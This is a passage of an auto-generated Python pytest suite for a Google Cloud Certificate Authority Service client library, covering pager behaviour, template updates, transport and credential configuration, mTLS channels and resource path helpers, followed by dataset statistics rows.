certificate_templates=[], next_page_token="def",
),
service.ListCertificateTemplatesResponse(
certificate_templates=[resources.CertificateTemplate(),],
next_page_token="ghi",
),
service.ListCertificateTemplatesResponse(
certificate_templates=[
resources.CertificateTemplate(),
resources.CertificateTemplate(),
],
),
RuntimeError,
)
pages = list(client.list_certificate_templates(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_certificate_templates_async_pager():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_templates),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListCertificateTemplatesResponse(
certificate_templates=[
resources.CertificateTemplate(),
resources.CertificateTemplate(),
resources.CertificateTemplate(),
],
next_page_token="abc",
),
service.ListCertificateTemplatesResponse(
certificate_templates=[], next_page_token="def",
),
service.ListCertificateTemplatesResponse(
certificate_templates=[resources.CertificateTemplate(),],
next_page_token="ghi",
),
service.ListCertificateTemplatesResponse(
certificate_templates=[
resources.CertificateTemplate(),
resources.CertificateTemplate(),
],
),
RuntimeError,
)
async_pager = await client.list_certificate_templates(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.CertificateTemplate) for i in responses)
@pytest.mark.asyncio
async def test_list_certificate_templates_async_pages():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_templates),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListCertificateTemplatesResponse(
certificate_templates=[
resources.CertificateTemplate(),
resources.CertificateTemplate(),
resources.CertificateTemplate(),
],
next_page_token="abc",
),
service.ListCertificateTemplatesResponse(
certificate_templates=[], next_page_token="def",
),
service.ListCertificateTemplatesResponse(
certificate_templates=[resources.CertificateTemplate(),],
next_page_token="ghi",
),
service.ListCertificateTemplatesResponse(
certificate_templates=[
resources.CertificateTemplate(),
resources.CertificateTemplate(),
],
),
RuntimeError,
)
pages = []
async for page_ in (await client.list_certificate_templates(request={})).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.parametrize(
"request_type", [service.UpdateCertificateTemplateRequest, dict,]
)
def test_update_certificate_template(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate_template), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.update_certificate_template(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateCertificateTemplateRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_update_certificate_template_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate_template), "__call__"
) as call:
client.update_certificate_template()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateCertificateTemplateRequest()
@pytest.mark.asyncio
async def test_update_certificate_template_async(
transport: str = "grpc_asyncio",
request_type=service.UpdateCertificateTemplateRequest,
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate_template), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.update_certificate_template(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateCertificateTemplateRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_update_certificate_template_async_from_dict():
await test_update_certificate_template_async(request_type=dict)
def test_update_certificate_template_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.UpdateCertificateTemplateRequest()
request.certificate_template.name = "certificate_template.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate_template), "__call__"
) as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.update_certificate_template(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"certificate_template.name=certificate_template.name/value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_update_certificate_template_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.UpdateCertificateTemplateRequest()
request.certificate_template.name = "certificate_template.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate_template), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.update_certificate_template(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"certificate_template.name=certificate_template.name/value",
) in kw["metadata"]
def test_update_certificate_template_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate_template), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_certificate_template(
certificate_template=resources.CertificateTemplate(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].certificate_template
mock_val = resources.CertificateTemplate(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
def test_update_certificate_template_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_certificate_template(
service.UpdateCertificateTemplateRequest(),
certificate_template=resources.CertificateTemplate(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_certificate_template_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate_template), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_certificate_template(
certificate_template=resources.CertificateTemplate(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].certificate_template
mock_val = resources.CertificateTemplate(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
@pytest.mark.asyncio
async def test_update_certificate_template_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_certificate_template(
service.UpdateCertificateTemplateRequest(),
certificate_template=resources.CertificateTemplate(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
def test_credentials_transport_error():
# It is an error to provide credentials and a transport instance.
transport = transports.CertificateAuthorityServiceGrpcTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
with pytest.raises(ValueError):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# It is an error to provide a credentials file and a transport instance.
transport = transports.CertificateAuthorityServiceGrpcTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
with pytest.raises(ValueError):
client = CertificateAuthorityServiceClient(
client_options={"credentials_file": "credentials.json"},
transport=transport,
)
# It is an error to provide an api_key and a transport instance.
transport = transports.CertificateAuthorityServiceGrpcTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
options = client_options.ClientOptions()
options.api_key = "api_key"
with pytest.raises(ValueError):
client = CertificateAuthorityServiceClient(
client_options=options, transport=transport,
)
# It is an error to provide an api_key and a credential.
options = mock.Mock()
options.api_key = "api_key"
with pytest.raises(ValueError):
client = CertificateAuthorityServiceClient(
client_options=options, credentials=ga_credentials.AnonymousCredentials()
)
# It is an error to provide scopes and a transport instance.
transport = transports.CertificateAuthorityServiceGrpcTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
with pytest.raises(ValueError):
client = CertificateAuthorityServiceClient(
client_options={"scopes": ["1", "2"]}, transport=transport,
)
def test_transport_instance():
# A client may be instantiated with a custom transport instance.
transport = transports.CertificateAuthorityServiceGrpcTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
client = CertificateAuthorityServiceClient(transport=transport)
assert client.transport is transport
def test_transport_get_channel():
# A client may be instantiated with a custom transport instance.
transport = transports.CertificateAuthorityServiceGrpcTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
channel = transport.grpc_channel
assert channel
transport = transports.CertificateAuthorityServiceGrpcAsyncIOTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
channel = transport.grpc_channel
assert channel
@pytest.mark.parametrize(
"transport_class",
[
transports.CertificateAuthorityServiceGrpcTransport,
transports.CertificateAuthorityServiceGrpcAsyncIOTransport,
],
)
def test_transport_adc(transport_class):
# Test default credentials are used if not provided.
with mock.patch.object(google.auth, "default") as adc:
adc.return_value = (ga_credentials.AnonymousCredentials(), None)
transport_class()
adc.assert_called_once()
def test_transport_grpc_default():
# A client should use the gRPC transport by default.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
assert isinstance(
client.transport, transports.CertificateAuthorityServiceGrpcTransport,
)
def test_certificate_authority_service_base_transport_error():
# Passing both a credentials object and credentials_file should raise an error
with pytest.raises(core_exceptions.DuplicateCredentialArgs):
transport = transports.CertificateAuthorityServiceTransport(
credentials=ga_credentials.AnonymousCredentials(),
credentials_file="credentials.json",
)
def test_certificate_authority_service_base_transport():
# Instantiate the base transport.
with mock.patch(
"google.cloud.security.privateca_v1.services.certificate_authority_service.transports.CertificateAuthorityServiceTransport.__init__"
) as Transport:
Transport.return_value = None
transport = transports.CertificateAuthorityServiceTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
# Every method on the transport should just blindly
# raise NotImplementedError.
methods = (
"create_certificate",
"get_certificate",
"list_certificates",
"revoke_certificate",
"update_certificate",
"activate_certificate_authority",
"create_certificate_authority",
"disable_certificate_authority",
"enable_certificate_authority",
"fetch_certificate_authority_csr",
"get_certificate_authority",
"list_certificate_authorities",
"undelete_certificate_authority",
"delete_certificate_authority",
"update_certificate_authority",
"create_ca_pool",
"update_ca_pool",
"get_ca_pool",
"list_ca_pools",
"delete_ca_pool",
"fetch_ca_certs",
"get_certificate_revocation_list",
"list_certificate_revocation_lists",
"update_certificate_revocation_list",
"create_certificate_template",
"delete_certificate_template",
"get_certificate_template",
"list_certificate_templates",
"update_certificate_template",
)
for method in methods:
with pytest.raises(NotImplementedError):
getattr(transport, method)(request=object())
with pytest.raises(NotImplementedError):
transport.close()
# Additionally, the LRO client (a property) should
# also raise NotImplementedError
with pytest.raises(NotImplementedError):
transport.operations_client
def test_certificate_authority_service_base_transport_with_credentials_file():
# Instantiate the base transport with a credentials file
with mock.patch.object(
google.auth, "load_credentials_from_file", autospec=True
) as load_creds, mock.patch(
"google.cloud.security.privateca_v1.services.certificate_authority_service.transports.CertificateAuthorityServiceTransport._prep_wrapped_messages"
) as Transport:
Transport.return_value = None
load_creds.return_value = (ga_credentials.AnonymousCredentials(), None)
transport = transports.CertificateAuthorityServiceTransport(
credentials_file="credentials.json", quota_project_id="octopus",
)
load_creds.assert_called_once_with(
"credentials.json",
scopes=None,
default_scopes=("https://www.googleapis.com/auth/cloud-platform",),
quota_project_id="octopus",
)
def test_certificate_authority_service_base_transport_with_adc():
# Test the default credentials are used if credentials and credentials_file are None.
with mock.patch.object(google.auth, "default", autospec=True) as adc, mock.patch(
"google.cloud.security.privateca_v1.services.certificate_authority_service.transports.CertificateAuthorityServiceTransport._prep_wrapped_messages"
) as Transport:
Transport.return_value = None
adc.return_value = (ga_credentials.AnonymousCredentials(), None)
transport = transports.CertificateAuthorityServiceTransport()
adc.assert_called_once()
def test_certificate_authority_service_auth_adc():
# If no credentials are provided, we should use ADC credentials.
with mock.patch.object(google.auth, "default", autospec=True) as adc:
adc.return_value = (ga_credentials.AnonymousCredentials(), None)
CertificateAuthorityServiceClient()
adc.assert_called_once_with(
scopes=None,
default_scopes=("https://www.googleapis.com/auth/cloud-platform",),
quota_project_id=None,
)
@pytest.mark.parametrize(
"transport_class",
[
transports.CertificateAuthorityServiceGrpcTransport,
transports.CertificateAuthorityServiceGrpcAsyncIOTransport,
],
)
def test_certificate_authority_service_transport_auth_adc(transport_class):
# If credentials and host are not provided, the transport class should use
# ADC credentials.
with mock.patch.object(google.auth, "default", autospec=True) as adc:
adc.return_value = (ga_credentials.AnonymousCredentials(), None)
transport_class(quota_project_id="octopus", scopes=["1", "2"])
adc.assert_called_once_with(
scopes=["1", "2"],
default_scopes=("https://www.googleapis.com/auth/cloud-platform",),
quota_project_id="octopus",
)
@pytest.mark.parametrize(
"transport_class,grpc_helpers",
[
(transports.CertificateAuthorityServiceGrpcTransport, grpc_helpers),
(
transports.CertificateAuthorityServiceGrpcAsyncIOTransport,
grpc_helpers_async,
),
],
)
def test_certificate_authority_service_transport_create_channel(
transport_class, grpc_helpers
):
# If credentials and host are not provided, the transport class should use
# ADC credentials.
with mock.patch.object(
google.auth, "default", autospec=True
) as adc, mock.patch.object(
grpc_helpers, "create_channel", autospec=True
) as create_channel:
creds = ga_credentials.AnonymousCredentials()
adc.return_value = (creds, None)
transport_class(quota_project_id="octopus", scopes=["1", "2"])
create_channel.assert_called_with(
"privateca.googleapis.com:443",
credentials=creds,
credentials_file=None,
quota_project_id="octopus",
default_scopes=("https://www.googleapis.com/auth/cloud-platform",),
scopes=["1", "2"],
default_host="privateca.googleapis.com",
ssl_credentials=None,
options=[
("grpc.max_send_message_length", -1),
("grpc.max_receive_message_length", -1),
],
)
@pytest.mark.parametrize(
"transport_class",
[
transports.CertificateAuthorityServiceGrpcTransport,
transports.CertificateAuthorityServiceGrpcAsyncIOTransport,
],
)
def test_certificate_authority_service_grpc_transport_client_cert_source_for_mtls(
transport_class,
):
cred = ga_credentials.AnonymousCredentials()
# Check ssl_channel_credentials is used if provided.
with mock.patch.object(transport_class, "create_channel") as mock_create_channel:
mock_ssl_channel_creds = mock.Mock()
transport_class(
host="squid.clam.whelk",
credentials=cred,
ssl_channel_credentials=mock_ssl_channel_creds,
)
mock_create_channel.assert_called_once_with(
"squid.clam.whelk:443",
credentials=cred,
credentials_file=None,
scopes=None,
ssl_credentials=mock_ssl_channel_creds,
quota_project_id=None,
options=[
("grpc.max_send_message_length", -1),
("grpc.max_receive_message_length", -1),
],
)
# Check if ssl_channel_credentials is not provided, then client_cert_source_for_mtls
# is used.
with mock.patch.object(transport_class, "create_channel", return_value=mock.Mock()):
with mock.patch("grpc.ssl_channel_credentials") as mock_ssl_cred:
transport_class(
credentials=cred,
client_cert_source_for_mtls=client_cert_source_callback,
)
expected_cert, expected_key = client_cert_source_callback()
mock_ssl_cred.assert_called_once_with(
certificate_chain=expected_cert, private_key=expected_key
)
def test_certificate_authority_service_host_no_port():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
client_options=client_options.ClientOptions(
api_endpoint="privateca.googleapis.com"
),
)
assert client.transport._host == "privateca.googleapis.com:443"
def test_certificate_authority_service_host_with_port():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
client_options=client_options.ClientOptions(
api_endpoint="privateca.googleapis.com:8000"
),
)
assert client.transport._host == "privateca.googleapis.com:8000"
def test_certificate_authority_service_grpc_transport_channel():
channel = grpc.secure_channel("http://localhost/", grpc.local_channel_credentials())
# Check that channel is used if provided.
transport = transports.CertificateAuthorityServiceGrpcTransport(
host="squid.clam.whelk", channel=channel,
)
assert transport.grpc_channel == channel
assert transport._host == "squid.clam.whelk:443"
assert transport._ssl_channel_credentials == None
def test_certificate_authority_service_grpc_asyncio_transport_channel():
channel = aio.secure_channel("http://localhost/", grpc.local_channel_credentials())
# Check that channel is used if provided.
transport = transports.CertificateAuthorityServiceGrpcAsyncIOTransport(
host="squid.clam.whelk", channel=channel,
)
assert transport.grpc_channel == channel
assert transport._host == "squid.clam.whelk:443"
assert transport._ssl_channel_credentials == None
# Remove this test when deprecated arguments (api_mtls_endpoint, client_cert_source) are
# removed from grpc/grpc_asyncio transport constructor.
@pytest.mark.parametrize(
"transport_class",
[
transports.CertificateAuthorityServiceGrpcTransport,
transports.CertificateAuthorityServiceGrpcAsyncIOTransport,
],
)
def test_certificate_authority_service_transport_channel_mtls_with_client_cert_source(
transport_class,
):
with mock.patch(
"grpc.ssl_channel_credentials", autospec=True
) as grpc_ssl_channel_cred:
with mock.patch.object(
transport_class, "create_channel"
) as grpc_create_channel:
mock_ssl_cred = mock.Mock()
grpc_ssl_channel_cred.return_value = mock_ssl_cred
mock_grpc_channel = mock.Mock()
grpc_create_channel.return_value = mock_grpc_channel
cred = ga_credentials.AnonymousCredentials()
with pytest.warns(DeprecationWarning):
with mock.patch.object(google.auth, "default") as adc:
adc.return_value = (cred, None)
transport = transport_class(
host="squid.clam.whelk",
api_mtls_endpoint="mtls.squid.clam.whelk",
client_cert_source=client_cert_source_callback,
)
adc.assert_called_once()
grpc_ssl_channel_cred.assert_called_once_with(
certificate_chain=b"cert bytes", private_key=b"key bytes"
)
grpc_create_channel.assert_called_once_with(
"mtls.squid.clam.whelk:443",
credentials=cred,
credentials_file=None,
scopes=None,
ssl_credentials=mock_ssl_cred,
quota_project_id=None,
options=[
("grpc.max_send_message_length", -1),
("grpc.max_receive_message_length", -1),
],
)
assert transport.grpc_channel == mock_grpc_channel
assert transport._ssl_channel_credentials == mock_ssl_cred
# Remove this test when deprecated arguments (api_mtls_endpoint, client_cert_source) are
# removed from grpc/grpc_asyncio transport constructor.
@pytest.mark.parametrize(
"transport_class",
[
transports.CertificateAuthorityServiceGrpcTransport,
transports.CertificateAuthorityServiceGrpcAsyncIOTransport,
],
)
def test_certificate_authority_service_transport_channel_mtls_with_adc(transport_class):
mock_ssl_cred = mock.Mock()
with mock.patch.multiple(
"google.auth.transport.grpc.SslCredentials",
__init__=mock.Mock(return_value=None),
ssl_credentials=mock.PropertyMock(return_value=mock_ssl_cred),
):
with mock.patch.object(
transport_class, "create_channel"
) as grpc_create_channel:
mock_grpc_channel = mock.Mock()
grpc_create_channel.return_value = mock_grpc_channel
mock_cred = mock.Mock()
with pytest.warns(DeprecationWarning):
transport = transport_class(
host="squid.clam.whelk",
credentials=mock_cred,
api_mtls_endpoint="mtls.squid.clam.whelk",
client_cert_source=None,
)
grpc_create_channel.assert_called_once_with(
"mtls.squid.clam.whelk:443",
credentials=mock_cred,
credentials_file=None,
scopes=None,
ssl_credentials=mock_ssl_cred,
quota_project_id=None,
options=[
("grpc.max_send_message_length", -1),
("grpc.max_receive_message_length", -1),
],
)
assert transport.grpc_channel == mock_grpc_channel
def test_certificate_authority_service_grpc_lro_client():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
transport = client.transport
# Ensure that we have a api-core operations client.
assert isinstance(transport.operations_client, operations_v1.OperationsClient,)
# Ensure that subsequent calls to the property send the exact same object.
assert transport.operations_client is transport.operations_client
def test_certificate_authority_service_grpc_lro_async_client():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc_asyncio",
)
transport = client.transport
# Ensure that we have a api-core operations client.
assert isinstance(transport.operations_client, operations_v1.OperationsAsyncClient,)
# Ensure that subsequent calls to the property send the exact same object.
assert transport.operations_client is transport.operations_client
def test_ca_pool_path():
project = "squid"
location = "clam"
ca_pool = "whelk"
expected = "projects/{project}/locations/{location}/caPools/{ca_pool}".format(
project=project, location=location, ca_pool=ca_pool,
)
actual = CertificateAuthorityServiceClient.ca_pool_path(project, location, ca_pool)
assert expected == actual
def test_parse_ca_pool_path():
expected = {
"project": "octopus",
"location": "oyster",
"ca_pool": "nudibranch",
}
path = CertificateAuthorityServiceClient.ca_pool_path(**expected)
# Check that the path construction is reversible.
actual = CertificateAuthorityServiceClient.parse_ca_pool_path(path)
assert expected == actual
def test_certificate_path():
project = "cuttlefish"
location = "mussel"
ca_pool = "winkle"
certificate = "nautilus"
expected = "projects/{project}/locations/{location}/caPools/{ca_pool}/certificates/{certificate}".format(
project=project, location=location, ca_pool=ca_pool, certificate=certificate,
)
actual = CertificateAuthorityServiceClient.certificate_path(
project, location, ca_pool, certificate
)
assert expected == actual
def test_parse_certificate_path():
expected = {
"project": "scallop",
"location": "abalone",
"ca_pool": "squid",
"certificate": "clam",
}
path = CertificateAuthorityServiceClient.certificate_path(**expected)
# Check that the path construction is reversible.
actual = CertificateAuthorityServiceClient.parse_certificate_path(path)
assert expected == actual
def test_certificate_authority_path():
project = "whelk"
location = "octopus"
ca_pool = "oyster"
certificate_authority = "nudibranch"
expected = "projects/{project}/locations/{location}/caPools/{ca_pool}/certificateAuthorities/{certificate_authority}".format(
project=project,
location=location,
ca_pool=ca_pool,
certificate_authority=certificate_authority,
)
actual = CertificateAuthorityServiceClient.certificate_authority_path(
project, location, ca_pool, certificate_authority
)
assert expected == actual
def test_parse_certificate_authority_path():
expected = {
"project": "cuttlefish",
"location": "mussel",
"ca_pool": "winkle",
"certificate_authority": "nautilus",
}
path = CertificateAuthorityServiceClient.certificate_authority_path(**expected)
# Check that the path construction is reversible.
actual = CertificateAuthorityServiceClient.parse_certificate_authority_path(path)
assert expected == actual
def test_certificate_revocation_list_path():
project = "scallop"
location = "abalone"
ca_pool = "squid"
certificate_authority = "clam"
certificate_revocation_list = "whelk"
expected = "projects/{project}/locations/{location}/caPools/{ca_pool}/certificateAuthorities/{certificate_authority}/certificateRevocationLists/{certificate_revocation_list}".format(
project=project,
location=location,
ca_pool=ca_pool,
certificate_authority=certificate_authority,
certificate_revocation_list=certificate_revocation_list,
)
actual = CertificateAuthorityServiceClient.certificate_revocation_list_path(
project, location, ca_pool, certificate_authority, certificate_revocation_list
)
assert expected == actual
def test_parse_certificate_revocation_list_path():
expected = {
"project": "octopus",
"location": "oyster",
"ca_pool": "nudibranch",
"certificate_authority": "cuttlefish",
"certificate_revocation_list": "mussel",
}
path = CertificateAuthorityServiceClient.certificate_revocation_list_path(
**expected
)
# Check that the path construction is reversible.
actual = CertificateAuthorityServiceClient.parse_certificate_revocation_list_path(
path
)
assert expected == actual
def test_certificate_template_path():
project = "winkle"
location = "nautilus"
certificate_template = "scallop"
expected = "projects/{project}/locations/{location}/certificateTemplates/{certificate_template}".format(
project=project, location=location, certificate_template=certificate_template,
)
actual = CertificateAuthorityServiceClient.certificate_template_path(
project, location, certificate_template
)
assert expected == actual
def test_parse_certificate_template_path():
expected = {
"project": "abalone",
"location": "squid",
"certificate_template": "clam",
}
path = CertificateAuthorityServiceClient.certificate_template_path(**expected)
# Check that the path construction is reversible.
actual = CertificateAuthorityServiceClient.parse_certificate_template_path(path)
assert expected == actual
def test_common_billing_account_path():
billing_account = "whelk"
expected = "billingAccounts/{billing_account}".format(
billing_account=billing_account,
)
actual = CertificateAuthorityServiceClient.common_billing_account_path(
billing_account
)
assert expected == actual
def test_parse_common_billing_account_path():
expected = {
"billing_account": "octopus",
}
path = CertificateAuthorityServiceClient.common_billing_account_path(**expected)
# Check that the path construction is reversible.
actual = CertificateAuthorityServiceClient.parse_common_billing_account_path(path)
assert expected == actual
def test_common_folder_path():
folder = "oyster"
expected = "folders/{folder}".format(folder=folder,)
actual = CertificateAuthorityServiceClient.common_folder_path(folder)
assert expected == actual
def test_parse_common_folder_path():
expected = {
"folder": "nudibranch",
}
path = CertificateAuthorityServiceClient.common_folder_path(**expected)
# Check that the path construction is reversible.
actual = CertificateAuthorityServiceClient.parse_common_folder_path(path)
assert expected == actual
def test_common_organization_path():
organization = "cuttlefish"
expected = "organizations/{organization}".format(organization=organization,)
actual = CertificateAuthorityServiceClient.common_organization_path(organization)
assert expected == actual
def test_parse_common_organization_path():
expected = {
"organization": "mussel",
}
path = CertificateAuthorityServiceClient.common_organization_path(**expected)
# Check that the path construction is reversible.
actual = CertificateAuthorityServiceClient.parse_common_organization_path(path)
assert expected == actual
def test_common_project_path():
project = "winkle"
expected = "projects/{project}".format(project=project,)
actual = CertificateAuthorityServiceClient.common_project_path(project)
assert expected == actual
def test_parse_common_project_path():
expected = {
"project": "nautilus",
}
path = CertificateAuthorityServiceClient.common_project_path(**expected)
# Check that the path construction is reversible.
actual = CertificateAuthorityServiceClient.parse_common_project_path(path)
assert expected == actual
def test_common_location_path():
project = "scallop"
location = "abalone"
expected = "projects/{project}/locations/{location}".format(
project=project, location=location,
)
actual = CertificateAuthorityServiceClient.common_location_path(project, location)
assert expected == actual
def test_parse_common_location_path():
expected = {
"project": "squid",
"location": "clam",
}
path = CertificateAuthorityServiceClient.common_location_path(**expected)
# Check that the path construction is reversible.
actual = CertificateAuthorityServiceClient.parse_common_location_path(path)
assert expected == actual
def test_client_with_default_client_info():
client_info = gapic_v1.client_info.ClientInfo()
with mock.patch.object(
transports.CertificateAuthorityServiceTransport, "_prep_wrapped_messages"
) as prep:
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), client_info=client_info,
)
prep.assert_called_once_with(client_info)
with mock.patch.object(
transports.CertificateAuthorityServiceTransport, "_prep_wrapped_messages"
) as prep:
transport_class = CertificateAuthorityServiceClient.get_transport_class()
transport = transport_class(
credentials=ga_credentials.AnonymousCredentials(), client_info=client_info,
)
prep.assert_called_once_with(client_info)
@pytest.mark.asyncio
async def test_transport_close_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc_asyncio",
)
with mock.patch.object(
type(getattr(client.transport, "grpc_channel")), "close"
) as close:
async with client:
close.assert_not_called()
close.assert_called_once()
def test_transport_close():
transports = {
"grpc": "_grpc_channel",
}
for transport, close_name in transports.items():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport
)
with mock.patch.object(
type(getattr(client.transport, close_name)), "close"
) as close:
with client:
close.assert_not_called()
close.assert_called_once()
def test_client_ctx():
transports = [
"grpc",
]
for transport in transports:
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport
)
# Test client calls underlying transport.
with mock.patch.object(type(client.transport), "close") as close:
close.assert_not_called()
with client:
pass
close.assert_called()
@pytest.mark.parametrize(
"client_class,transport_class",
[
(
CertificateAuthorityServiceClient,
transports.CertificateAuthorityServiceGrpcTransport,
),
(
CertificateAuthorityServiceAsyncClient,
transports.CertificateAuthorityServiceGrpcAsyncIOTransport,
),
],
)
def test_api_key_credentials(client_class, transport_class):
with mock.patch.object(
google.auth._default, "get_api_key_credentials", create=True
) as get_api_key_credentials:
mock_cred = mock.Mock()
get_api_key_credentials.return_value = mock_cred
options = client_options.ClientOptions()
options.api_key = "api_key"
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options)
patched.assert_called_once_with(
credentials=mock_cred,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
| 38.901854
| 186
| 0.695804
| 38,915
| 350,389
| 6.038597
| 0.013105
| 0.014809
| 0.024065
| 0.056734
| 0.954105
| 0.943168
| 0.930134
| 0.915742
| 0.900895
| 0.886868
| 0
| 0.003672
| 0.225155
| 350,389
| 9,006
| 187
| 38.906174
| 0.86187
| 0.208425
| 0
| 0.71717
| 0
| 0
| 0.074212
| 0.030221
| 0
| 0
| 0
| 0
| 0.130007
| 1
| 0.034964
| false
| 0.000164
